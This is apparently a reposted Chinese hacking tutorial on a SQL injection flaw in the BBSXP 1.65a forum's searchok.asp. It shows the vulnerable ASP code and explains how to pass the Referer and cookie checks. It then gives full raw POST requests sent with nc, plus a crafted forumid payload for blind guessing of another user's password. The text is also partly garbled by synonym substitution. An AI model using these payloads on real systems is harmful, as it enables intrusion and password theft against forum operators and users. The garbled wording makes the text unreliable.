设为主页 | 加入收藏 | 繁體中文

BBSXP漏洞[倒着看一]

  BBSXP(www.Yuzi.net)听说是“经过快要3年的测试,可说是不存在任何BUG”,很锋利啊!我下载了一个1.65a版,收费的,可能和dvBBS一样,有传说中的贸易版,不外我没有措施失掉。
  我是从最后一个文件开始看的,以是叫倒着看。实在我已经看了一半了,呵呵,不外写出来要轻微慢一点,因为我在本身的呆板上测试要花时间,而且要怀着悲痛的心境送结业的同砚,进度实在快不起来。
  嗯,空话就少说了,来看看到底是什么毛病吧。
  searchok.asp中存在多处可以SQL Injection的问题,代码是这样的:
  ... ...
  forumid=Request("forumid")
  ... ...
  if Request("forumid")<>"" then
  forumidor="forumid="&forumid&" and"
  end if
  ... ...
  count=conn.execute("Select count(id)from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimit&"")(0)
  这实在是一个极端愚笨的错误,我敢用我的背心赌钱,要是有贸易版它(们)相对不敢这么写!但是收费版便是收费版,像dvBBS一样,就算作者知道了毛病,收费版的用户要想失掉补丁也是极端困难的事变。谁叫有贸易用户呢,优先的固然不会是平凡的网民,有那个的才是娘嘛。
  嗯,攻击一下。
  要攻击的话还要看几个中央,提及来BBSXP虽然代码写得难看,但是还是有一些基本的防护措施(只管没用),现要绕开这些个形同虚设停滞才好办事变。先来阐发一下有那些停滞,代码是这样的:
  if Request.Cookies("username")="" then
  error("
  您还还未登陆社区")
  end if
  if instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server_name")&"") = 0 then
  error("
  来源错误")
  end if
  setup.asp中的防范很简单,只需你或者浏览器提交的cookie中username不包含空格和单引号而且确实存在这个用户就可以了。上面的第一个if果断宛如没有什么用,呵呵,第二个if果断是要求援用来源与服务器相一致,也很容易办到。实在我们可以先看看浏览器是怎么提交恳求的,大部分情况下,都可以轻微改一下就用,而且最紧张的,浏览器提交的正常数据百分之百可以或许满足那些(作者认为的)苛刻条件,这将是一个十分好的参考。固然,如果你发现浏览器提交的数据都不克不及经过代码中的检测条件,那只能说明编写这个的人脑壳坏掉了。
  抓浏览器提交的数据,只需一个NC就可以,而且我以为剧本攻击的话,极度情况下也就只必要一个NC,真是居家旅行,XXXX,必备XX啊。
  先在本身的呆板上配置好IIS和BBSXP,注册一个ID登陆进去,然后转到search.asp,搜刮栏内里任意填一个1吧,然后我们开始抓提交的数据了。如今把Internet信息服务中的你使用的站点制止,在cmd中用NC监听80口(nc -l -p 80),回到浏览器上面,轻轻按一下回车键,OK,NC那里数据已经出来了,我的是这样的。
  POST /BBSXP/searchok.asp HTTP/1.1
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
  Referer:http://localhost/BBSXP/search.asp
  Accept-Language: zh-cn
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
  Host: localhost
  Content-Length: 108
  Connection: Keep-Alive
  Cache-Control: no-cache
  Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18; onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!; addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
  content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=5&forumid=&submit1=%BF%AA%CA%BC%CB%D1%CB%F7
  如果想知道每一行代表什么意思,请找参考书,这里不会逐一介绍的。我们只看紧张的:
  Referer:http://localhost/BBSXP/search.asp
  这个值肯定要包含对方服务器的名字,好比我是在本机上测试的,就要有localhost,如果你在www.Yuzi.net上测试,肯定要有www.Yuzi.net。这是因为要使得instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server_name")&"") = 0这个条件不可立(见上面的代码)。
  Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18; onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!; addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
  Cookie伪造就指的这个工具了,要是你乱填Cookie的值,便是Cookie伪造,呵呵!不外这里该是什么便是什么,我们没有必要去作假的Cookie,username和userpass都填上你的真实资料吧。
  Content-Length: 108
  这是POST过去的数据的长度,可能要你本身计算,但是可以把这个值轻微写大一点,并不影响你提交的数据的内容,只是可能要多打频频回车。
  content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=5&forumid=&submit1=%BF%AA%CA%BC%CB%D1%CB%F7
  这便是本次的最紧张的内容,POST过去的数据。按照上面临毛病的明确,这里要修正的是forumid的值,如果是MSSQL的话,方法是直接用冒号结束前一句然后注入你喜好的SQL查询或者是存储历程,这里就不多说了。因为大部分用的是ACCESS,只能制造畸形的查询条件来推测表的内容,这里做一个示范。记着,POST过去的工具,许多要先编码,好比空格要用%20表示,否则会得不到预定结果的。我用的数据是这样的:
  D:\>nc localhost 80
  POST /BBSXP/searchok.asp HTTP/1.1
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
  Referer:http://localhost/BBSXP/search.asp
  Accept-Language: zh-cn
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
  Host: localhost
  Content-Length: 178
  Connection: Keep-Alive
  Cache-Control: no-cache
  Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18; onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!; addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
  content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=&forumid=1%20and%201=(select%20count(*)%20from%20user%20where%20left(userpass,1)='2'%20and%20username='never')%20&submit1=%BF%AA%CA%BC%CB%D1%CB%F7
  看出来了吗,fourmid的值是
  1 and 1=(select count(*) from user where left(userpass,1)='2' and username='never')
  呵呵,到这里就可以慢慢的来猜他人(这里是never)的密码了。手工猜在这里就很难办了,最好是用perl写个小东东。
  至于推测成功与否的条件也黑白常简单的,因为serachok.asp中果断Count=0(没有结果)时,会出现“对不起,没有找到您要查询的内容”的字样,只需获得的数据中不出现这个,那么几乎可以肯定猜对了。
  嗯,写到这里发现这种工具写得一点创意都没有,不外那位问我果断instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server_name")&"") = 0是否有用的朋友,我信赖您肯定明确答案了吧。
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: